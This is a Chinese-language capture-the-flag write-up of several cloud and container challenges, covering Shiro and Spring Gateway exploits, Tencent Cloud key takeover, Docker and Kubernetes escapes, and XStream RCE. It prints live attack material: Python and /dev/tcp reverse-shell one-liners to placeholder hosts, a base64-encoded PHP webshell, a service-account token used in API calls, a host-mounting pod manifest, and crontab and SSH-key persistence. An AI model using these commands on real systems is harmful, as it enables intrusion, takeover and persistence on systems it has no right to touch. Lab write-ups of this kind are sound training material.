命令执行
信息收集
云服务
2.访问8080端口,指纹识别shiro框架,尝试shiro550 反序列化漏洞
存在漏洞,漏洞利用成功,获取webshell:
获取到遗留的配置文件,base64解码:
直接访问显示AccesDenied:
根据提示猜想,可能设置了权限,只有入口主机能访问,尝试访问,访问成功:
Flag2 获取成功:
信息收集,查看所有有效用户:
查看ubuntu用户的用户文件夹, 发现db_old文件夹:
发现只有数据库名,没有其他信息:
查看用户的.bash_history 发现敏感操作:
Base64解码获取到密码:
尝试登陆,登陆失败,继续查看.bash_history, 发现另一个端口:
登陆成功:
获取flag3:
Spring 微服务
SDK
腾讯云
端口扫描:
访问8080端口, 指纹识别名没有信息:
尝试目录扫描 获取到目标存在Spring Actuator 未授权访问漏洞,:
访问路径,发现存在gateway,尝试CVE-2022-22947漏洞
Github搜索关键字获取工具:
https://github.com/aodsec/CVE-2022-22947
执行成功:
反弹shell成功:
获取第一个flag:
信息收集,查看ubuntu用户的.bash_history:
执行命令后获取ak和sk:
通过cf利用:
配置ak/sk 选择腾讯云
接管控制台
登陆控制台
查看具体资源,对象存储有资源:
查看cloud-2-flag2对象存储获取flag2:
查看cloud-3-flag3对象存储获取flag3
Docker 文件管理 逃逸
端口扫描:
访问80端口:
尝试下主页功能,都是无效功能,目录扫描:
存在upload.php,访问尝试, 上传php webshell:
冰蝎链接成功,获取Flag1:
信息收集发现发现,当前环境为docker环境无k8s集群:
CDK信息收集 存在docker.sock 挂载:
反弹shell 手工利用
挂载宿主机根目录。获取宿主机权限,获取flag2:
Docker ps 查看所有容器,发现flag-container-image 镜像的Docker
直接进入对应Docker,获取Flag3
python后门Docker 逃逸
端口扫描:
访问8080端口:
查看页面源代码:
通过路由获取系统备份:
代码审计发现,系统存在命令执行后门:
列目录获取flag1:
信息收集,当前环境为单docker,无k8s集群:
Python环境不能写webshell,我们直接将CDK下载进去:
收集docker信息 发现存在特权,直接利用特权进行逃逸:
手工确认:
反弹一个shell来深入利用
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("xxxxxxx",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
挂载宿主机硬盘到docker里
mkdir /tmp/mnt
mount /dev/sda1 /tmp/mnt
cd /tmp/mnt
查看宿主根目录,获取flag2
因为我们已经获取了宿主机的硬盘权限,直接搜索flag3关键字,即可从宿主机文件系统,读到另一个docker的文件
RCE
K8s
ServiceAccount
直接访问:
http://ngrok.xiaomiqiu123.top:43248/
手工测试后,发现是一个无显的命令执行漏洞:
随意输入命令,报错获取到绝对路径,可以直接写入webshell:
直接echo 写入一个冰蝎马:
echo PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKCWZ1bmN0aW9uIERlY3J5cHQoJGRhdGEpCnsKICAgICRrZXk9ImU0NWUzMjlmZWI1ZDkyNWIiOyAKICAgICRicz0iYmFzZTY0XyIuImRlY29kZSI7CgkkYWZ0ZXI9JGJzKCRkYXRhLiIiKTsKCWZvcigkaT0wOyRpPHN0cmxlbigkYWZ0ZXIpOyRpKyspIHsKICAgIAkkYWZ0ZXJbJGldID0gJGFmdGVyWyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIH0KICAgIHJldHVybiAkYWZ0ZXI7Cn0KCSRwb3N0PURlY3J5cHQoZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0IikpOwogICAgZXZhbCgkcG9zdCk7Cj8+ | base64 -d > /var/www/html/oooooo.php
连接成功:
搜索flag1:
信息收集, 发现我们目前处于一个k8s的pod当中:
cat /proc/1/cgroup
查看env信息
我们查看当前pod的服务账户Token:
eyJhbGciOiJSUzI1NiIsImtpZCI6InNUSExVVHNuaVBocTN5eU1mWEtlbTdNRUlzLVRhblM5dDhiZmJuSlJ1d1EifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI5MTA2NjAxLCJpYXQiOjE2OTc1NzA2MDEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWItYXBwLTc3ZmJmNjU3NmItcDR3eGQiLCJ1aWQiOiJlODZiM2I4Zi1iNzlmLTRjMDctODBjZS01Zjk2MmYwOTE0MmQifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6IndlYi1hcHAtc2EiLCJ1aWQiOiJlM2JiOGI4MC02NDk5LTQ1MWItOGZmYi1kNDczMzc0NGQ2MGYifSwid2FybmFmdGVyIjoxNjk3NTc0MjA4fSwibmJmIjoxNjk3NTcwNjAxLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDp3ZWItYXBwLXNhIn0.WtbuPrZpCvttzmBY8BJXzThzBtivxf8GboxNYwpPsMN0XYF5EtA1aGs1hWAWI4zupeV5z-XZWOeulDrkXIB6e1qiMVFvdAZXH6S0O79GlIOd9PwPNgPHDmn3d0Lm1zNFjJN6RVHI50ZvFfZt3W0YuGGnPfEjbX536TWA0DrARV94q976-PtwObjuW-Ef03KRNwTsKCU7x6CoviVidNefwlGmw0w8rkO96dJJqLp97rScy615XkaUrSuT0iHnjXy4iBrXZINcJxSt4SpgKdIdli749YjzN3ivU-iGdbsi6q5S6tehGqAvHJUSdqNOerNhcL0T1eGHcaxBmwAFevzYcA
先获取Service相关信息:
我们通过获取到的token 列一下pod:发现存在utility-pod
curl -s -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6InNUSExVVHNuaVBocTN5eU1mWEtlbTdNRUlzLVRhblM5dDhiZmJuSlJ1d1EifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI5MTA2NjAxLCJpYXQiOjE2OTc1NzA2MDEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWItYXBwLTc3ZmJmNjU3NmItcDR3eGQiLCJ1aWQiOiJlODZiM2I4Zi1iNzlmLTRjMDctODBjZS01Zjk2MmYwOTE0MmQifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6IndlYi1hcHAtc2EiLCJ1aWQiOiJlM2JiOGI4MC02NDk5LTQ1MWItOGZmYi1kNDczMzc0NGQ2MGYifSwid2FybmFmdGVyIjoxNjk3NTc0MjA4fSwibmJmIjoxNjk3NTcwNjAxLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDp3ZWItYXBwLXNhIn0.WtbuPrZpCvttzmBY8BJXzThzBtivxf8GboxNYwpPsMN0XYF5EtA1aGs1hWAWI4zupeV5z-XZWOeulDrkXIB6e1qiMVFvdAZXH6S0O79GlIOd9PwPNgPHDmn3d0Lm1zNFjJN6RVHI50ZvFfZt3W0YuGGnPfEjbX536TWA0DrARV94q976-PtwObjuW-Ef03KRNwTsKCU7x6CoviVidNefwlGmw0w8rkO96dJJqLp97rScy615XkaUrSuT0iHnjXy4iBrXZINcJxSt4SpgKdIdli749YjzN3ivU-iGdbsi6q5S6tehGqAvHJUSdqNOerNhcL0T1eGHcaxBmwAFevzYcA" https://10.96.0.1/api/v1/namespaces/default/pods
查看下这个pod的详细信息,发现信息:
curl -s -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6InNUSExVVHNuaVBocTN5eU1mWEtlbTdNRUlzLVRhblM5dDhiZmJuSlJ1d1EifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzI5MTA2NjAxLCJpYXQiOjE2OTc1NzA2MDEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWItYXBwLTc3ZmJmNjU3NmItcDR3eGQiLCJ1aWQiOiJlODZiM2I4Zi1iNzlmLTRjMDctODBjZS01Zjk2MmYwOTE0MmQifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6IndlYi1hcHAtc2EiLCJ1aWQiOiJlM2JiOGI4MC02NDk5LTQ1MWItOGZmYi1kNDczMzc0NGQ2MGYifSwid2FybmFmdGVyIjoxNjk3NTc0MjA4fSwibmJmIjoxNjk3NTcwNjAxLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDp3ZWItYXBwLXNhIn0.WtbuPrZpCvttzmBY8BJXzThzBtivxf8GboxNYwpPsMN0XYF5EtA1aGs1hWAWI4zupeV5z-XZWOeulDrkXIB6e1qiMVFvdAZXH6S0O79GlIOd9PwPNgPHDmn3d0Lm1zNFjJN6RVHI50ZvFfZt3W0YuGGnPfEjbX536TWA0DrARV94q976-PtwObjuW-Ef03KRNwTsKCU7x6CoviVidNefwlGmw0w8rkO96dJJqLp97rScy615XkaUrSuT0iHnjXy4iBrXZINcJxSt4SpgKdIdli749YjzN3ivU-iGdbsi6q5S6tehGqAvHJUSdqNOerNhcL0T1eGHcaxBmwAFevzYcA" https://10.96.0.1/api/v1/namespaces/default/pods/utility-pod-7bf9988594-x9ls4
Flag2 和Flag3 都在这个pod里,所以我们的目的就是横向到这个pod
通过命令指定token以及对应的api的地址,进行远程操控pod.横向到目标pod即可:
kubectl get pods --server=https://<api-server-url> --token=<Service Account Token>
kubectl exec -it utility-pod bash --server=https://<api-server-url> --token=<Service Account Token>
后续可以继续利用,权限足够的话:
创建特权pod 挂载实体机/ 到 特权pod的 /mnt
kubectl apply -f app.yaml --server=https://<api-server-url> --token=<Service Account Token>
apiVersion: v1
kind: Pod
metadata:
name: app
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
进入我们创建的特权token 进/mnt 目录
后渗透:
// 1. 向 crontab 写入反弹 shell 的定时任务
# echo -e "* * * * * root bash -i >& /dev/tcp/x.x.x.x/8888 0>&1n" >> /mnt/etc/crontab
// 2. 写入SSH公钥直接连接:
echo "ssh-rsa 123" >> /mnt/root/.ssh/authorized_keys
某个应用的备份文件存在泄漏,泄漏在了COS上,已知信息如下:
服务商: 腾讯云
前缀: backupdata-1318326636
位置:ap-shanghai
文件名:app-pom.xml
Xstream
RCE
Docker
通过题目的提示我们能猜出目标的COS地址:
https://backupdata-1318326636.cos.ap-shanghai.myqcloud.com/
根据提示构造下文件名,获取到文件内容,注释包含一个IP,看文件接口是java系统的Mvn的pom.xml文件:
从配置文件获取的 依赖有springBoot以及Xstream
端口扫描下注释里的IP地址:
访问端口8080:
随便构造一个xml 爆500 猜测可能直接是通过Content-Type来直接解析xml:
再搜索下xstream 1.4.15 存在哪些漏洞,获取的信息如下:
符合版本的漏洞如下:
| XStream 远程代码执行漏洞 | CVE-2021-21344 | XStream
: <= 1.4.15 |
| ------------------------ | ------------------------------------------------------------ | -------------------- |
| XStream 远程代码执行漏洞 | CVE-2021-21345 | XStream
: <= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-21346 | XStream
: <= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-21347 | XStream
<= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-21350 | XStream
: <= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-21351 | XStream
: <= 1.4.15 |
| XStream 远程代码执行漏洞 | CVE-2021-29505 | XStream
: <= 1.4.16 |
我们尝试了几个,发现CVE-2021-21351 可以利用, 打JNDI 利用链使用spring依赖的
通过python3来反弹shell:
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("xxxxxx",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
反弹成功,获取第二个flag
信息收集 本机docker有Flag3:
进入docker获取flag3: